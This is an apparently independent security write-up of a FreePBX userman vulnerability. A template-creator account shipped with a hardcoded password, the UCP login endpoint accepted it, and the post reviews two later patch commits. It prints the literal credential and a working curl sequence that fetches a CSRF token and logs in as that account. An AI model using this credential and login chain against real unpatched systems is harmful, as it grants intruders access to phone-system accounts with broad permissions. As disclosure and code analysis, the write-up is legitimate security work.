//nefariousplan

CVE-2026-46376: FreePBX userman Shipped A Placeholder Password. The UCP Login Endpoint Did Not Know It Was A Placeholder.

vendor

pattern

cve

proof of concept

On June 4, 2021, a new function landed in Userman.class.php. It was called generateTemplateCreatorUser. It created a system user named FreePBXUCPTemplateCreator and passed the string md5('1a2b3c@fd48jshs03123ld') as that user's password. The literal and the username both shipped, in the same commit, in plaintext, in the public FreePBX/userman repository on GitHub.

CVE-2026-46376 is the fifty-nine-month window between the day that literal entered the codebase and the day Sangoma told its customers it had been there.

The placeholder was the credential

The function that introduced the user is short. From commit 7aa066e9, Userman.class.php:

/*Generate a User for Template creation,view/edit */
public function generateTemplateCreatorUser($unusedexten){
    $directory = $this->getDefaultDirectory();
    $ret = $this->addUserByDirectory(
        $directory['id'],
        'FreePBXUCPTemplateCreator',
        md5('1a2b3c@fd48jshs03123ld'),
        $unusedexten,
        _('Autogenerated user For Template Creation'),
        array('email' => '', 'displayname' => 'Template Creator')
    );
    // ...
}

addUserByDirectory is the public API for adding a user to a FreePBX auth directory. The third positional argument is the password. The function requires it; it will not create the user without it. The developer needed a user to exist so the UCP generic template feature had an account to bind dashboards to, and the standard user-creation path required a password to do so.

The developer's solution was to type a literal string. They wrapped it in md5() because they knew the password column expected a hashed value. That second step is the tell. The developer was thinking about what bytes would end up in the database. They were not thinking about what bytes the HTTP login handler would compare against.

The intended access path for this account was never a password. A few hundred lines further down the same file:

public function getUnlockKeyTemplateCreator(){
    $unusedexten = $this->getUnUsedextension();
    $uid = $this->generateTemplateCreatorUser($unusedexten);
    if(!$key = $this->getConfig('unlockkey','templatecreator')){
        $key = (string)Uuid::uuid4();
        $this->setConfig('unlockkey',$key,'templatecreator');
        $this->setConfig($key,$uid,'templatecreator');
    }
    return $key;
}

The admin panel hands an administrator a UUID4 unlock key in a URL. The URL drops them into UCP as the template creator user. UUID4 has enough entropy that no one is guessing it. The unlock-key flow was the access mechanism the developer designed. The password parameter was scaffolding the directory module required to maintain its invariant that every user has a row in userman_users.

The placeholder was the credential because nothing else in the system said it wasn't.

The login endpoint does not know about intent

The UCP exposes POST /ucp/ajax.php. The handler is in htdocs/includes/User.class.php:

case 'login':
    if (!$this->UCP->Session->verifyToken('login')) { /* ... */ }
    // ...
    $o = $this->login($_POST['username'], $_POST['password'], $rm);

login() calls _authenticate(). _authenticate() calls FreePBX->Ucp->checkCredentials($username, $password), which is a thin pass-through to Userman::checkCredentials($username, $password):

public function checkCredentials($username, $password, $alsoCheckDefaultExt = false) {
    $sql = "SELECT u.username, d.id as dirid from userman_users u, userman_directories d
            WHERE username = ? AND u.auth = d.id AND d.active = 1 ORDER BY d.order LIMIT 1";
    $sth = $this->db->prepare($sql);
    $sth->execute([$username]);
    $user = $sth->fetch(PDO::FETCH_ASSOC);
    if(empty($user)) {
        // ...
        return false;
    }
    return $this->directories[$user['dirid']]->checkCredentials($username, $password);
}

The directory module's checkCredentials runs PHPass against the stored hash and returns the user id on a match. There is no field anywhere on the userman_users row that says "this account is for unlock-key access only." There is no allowlist of usernames the password endpoint will refuse. The directory's active flag is the only gate, and the FreePBX directory is active by default; that is how every other UCP user logs in.

FreePBXUCPTemplateCreator is a regular row in userman_users. The login endpoint treats it the way it treats every other row.

The exploit is what the PoC ships. Fetch the CSRF token off /ucp/index.php, post it back to /ucp/ajax.php:

$ TOKEN=$(curl -sc /tmp/cj http://target/ucp/index.php \
    | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p')

$ curl -sb /tmp/cj -X POST http://target/ucp/ajax.php \
    -H 'X-Requested-With: XMLHttpRequest' \
    -d "token=$TOKEN" \
    -d 'username=FreePBXUCPTemplateCreator' \
    -d 'password=1a2b3c@fd48jshs03123ld' \
    -d 'module=User' \
    -d 'command=login'
{"status":true}

The session cookie is now authenticated as the template creator user. The PoC's invariant for "vulnerable" is that response: {"status":true}. Sangoma's own GHSA-m55x-h47x-v3gx confirms the chain.

The CSRF token in the first request is the only "control" between the public internet and the UCP for this account. It is fetched from the same login page, anonymously, by the same caller. It exists to prevent a victim's browser from being made to submit the login form. It does not exist to prevent an attacker from submitting it directly.

What the template creator account can do inside the UCP is a separate question. The autogenerated user is granted membership in a UCP group, and at creation time every UCP module's assigned permission for that group is rewritten:

foreach($result as $row){
    if($row['key'] == 'assigned'){
        continue;
    }
    // ...
    $val = $row['val'];
    if($row['val'] == '0'){$val = 1;}
    if($row['val'] == 'no'){ $val = 'yes';}
    if($row['val'] == 'disable' ){$val='enable';}
    if($row['key'] == 'allowLogin'){
        $val = 1;
    }
    // ...
}

Every disabled permission is enabled. Every "no" is "yes". allowLogin is forced to 1. The intent was to give the template-editing user the union of available UCP capabilities so the administrator using the unlock-key flow could see how every dashboard widget would render. The intent did not include the network.

The first patch covered new installs. Five years of existing installs were left.

On April 16, 2026, commit 1c55ebaf landed under ticket FREEI-2843. It made two changes:

-		$ret = $this->addUserByDirectory($directory['id'], $this->getUserNameTemplateCreator(), md5('1a2b3c@fd48jshs03123ld'), $unusedexten, _('Autogenerated user For Template Creation'), ['email' => $email, 'displayname' => $this->displayNameTemplateCreator]);
+		$password = bin2hex(random_bytes(24));
+		$ret = $this->addUserByDirectory($directory['id'], $this->getUserNameTemplateCreator(), $password, $unusedexten, _('Autogenerated user For Template Creation'), ['email' => $email, 'displayname' => $this->displayNameTemplateCreator]);

New installs would no longer ship the literal. Good.

The same commit added a careful rotation function for existing installs:

public function rotateTemplateCreatorPasswordIfExists() {
    $uid = $this->getTemplateCreator();
    if ($uid === false || $uid === null || $uid === '') {
        return ['status' => true, 'rotated' => false];
    }
    $user = $this->getUserByID($uid);
    if (empty($user) || ($user['username'] !== $this->getUserNameTemplateCreator())) {
        return ['status' => true, 'rotated' => false];
    }
    $authId = $user['auth'] ?? null;
    if ($authId === null || !isset($this->directories[$authId])) {
        return ['status' => true, 'rotated' => false];
    }
    $dir = $this->getDirectoryByID($authId);
    if (!empty($dir['locked'])) {
        return ['status' => true, 'rotated' => false];
    }
    $password = bin2hex(random_bytes(24));
    $result = $this->directories[$authId]->updateUser(
        (int) $uid,
        (string) $user['username'],
        (string) $user['username'],
        $user['default_extension'] ?? 'none',
        $user['description'],
        [],
        $password,
        true
    );
    // ...
}

The rotation looks up the user, confirms it is the template creator (not some other account that happened to share the id), checks that the directory exists and is not locked, then calls the directory module's updateUser() with the new password and $encrypt=true. updateUser() runs the password through PasswordHash::HashPassword before writing it. The pattern is the one the rest of userman uses.

install.php was updated to call the rotation on every upgrade:

$tcRotate = $freepbx->Userman->rotateTemplateCreatorPasswordIfExists();
if (is_array($tcRotate) && !empty($tcRotate['rotated'])) {
    out(_('Updated password for the generic UCP Template Creator user.'));
} elseif (is_array($tcRotate) && empty($tcRotate['status']) && !empty($tcRotate['message'])) {
    out(sprintf(_('Warning: could not rotate generic Template Creator user password: %s'), $tcRotate['message']));
}

This is what the first patch looked like. New installs randomized at creation; existing installs rotated through the proper hashing pipeline on upgrade; locked directories were respected.

Four days later, the rotation function was deleted

On April 20, 2026, commit 842323c1 landed under the same ticket, titled "FREEI-2843 - changes done for Hardcoded credential vulnerability fixing". Its diff against the previous commit removes forty lines from Userman.class.php:

-	public function rotateTemplateCreatorPasswordIfExists() {
-		$uid = $this->getTemplateCreator();
-		if ($uid === false || $uid === null || $uid === '') {
-			return ['status' => true, 'rotated' => false];
-		}
-		// ... forty lines deleted ...
-	}

And replaces the upgrade-hook call in install.php with raw SQL:

-$tcRotate = $freepbx->Userman->rotateTemplateCreatorPasswordIfExists();
-if (is_array($tcRotate) && !empty($tcRotate['rotated'])) {
-	out(_('Updated password for the generic UCP Template Creator user.'));
-} elseif (is_array($tcRotate) && empty($tcRotate['status']) && !empty($tcRotate['message'])) {
-	out(sprintf(_('Warning: could not rotate generic Template Creator user password: %s'), $tcRotate['message']));
+$uid = $freepbx->Userman->getTemplateCreator();
+
+if($uid !== false && $uid !== null && $uid !== '') {
+	$password = bin2hex(random_bytes(24));
+	$sql = "UPDATE userman_users SET password = '$password' WHERE id = $uid";
+	FreePBX::Database()->query($sql);
+	out(_('Password regenerated for the generic user.'));
 }

Two changes survive past the surface of the diff. The first is the SQL shape: "UPDATE userman_users SET password = '$password' WHERE id = $uid" is string interpolation, not a prepared statement. The values are produced by code inside the same function ($password is hex from random_bytes, $uid is an integer primary key), so there is no attacker-controlled path into the query today; the only people who can change that are the same people who write the file. It is still the wrong shape; userman's own directory module uses prepared statements for every other write.

The second change is the one that matters. The deleted updateUser() call ran the new password through PasswordHash::HashPassword. The new raw SQL writes the forty-eight-byte hex string directly into the password column. The column previously stored PHPass-hashed values; it now stores a raw hex string. The login endpoint's CheckPassword against a non-PHPass value will not match anything a caller can submit, which is the intended outcome for this account, but it is the intended outcome arrived at by removing the layer that hashed.

The locked-directory check is also gone. A directory marked locked in userman_directories is one the administrator has told the system not to mutate. The first patch respected that flag. The second patch reaches past it and writes the column anyway. There is no directory the upgrade hook will not silently overwrite.

The first patch was the careful one. The second patch deleted the careful one and replaced it with raw SQL that bypasses the layer the careful one used.

The placeholder was always going to be the credential

This is the shape of Placeholder Credential Is Live. A credential parameter required by a constructor, given a literal value because the developer's threat model placed the access path somewhere else. The framework took the literal, persisted it into the auth store the rest of the system queries, and exposed an endpoint that compares submitted bytes against that store with no field anywhere distinguishing "this credential is real" from "this credential is scaffolding."

The developer wrote md5('1a2b3c@fd48jshs03123ld') because they understood the password column expected a hashed value. They computed it themselves to spare the column the work. The wrap in md5() is the part of the code that proves the developer understood the storage layer. The literal inside the wrap is the part that proves they had a model of who would attempt to submit it, and that model did not include anyone.

Fifty-nine months. Every FreePBX 15.0.42, every 16.x before 16.0.45, every 17.x before 17.0.7 that ran the UCP generic template setup carried that user with that password. Sangoma's customers were told, in May 2026, that the model had been wrong since June 2021.

PoC: portbuster1337/CVE-2026-46376

The wrap in md5() is testimony the developer thought about storage. The literal is testimony they did not think about login.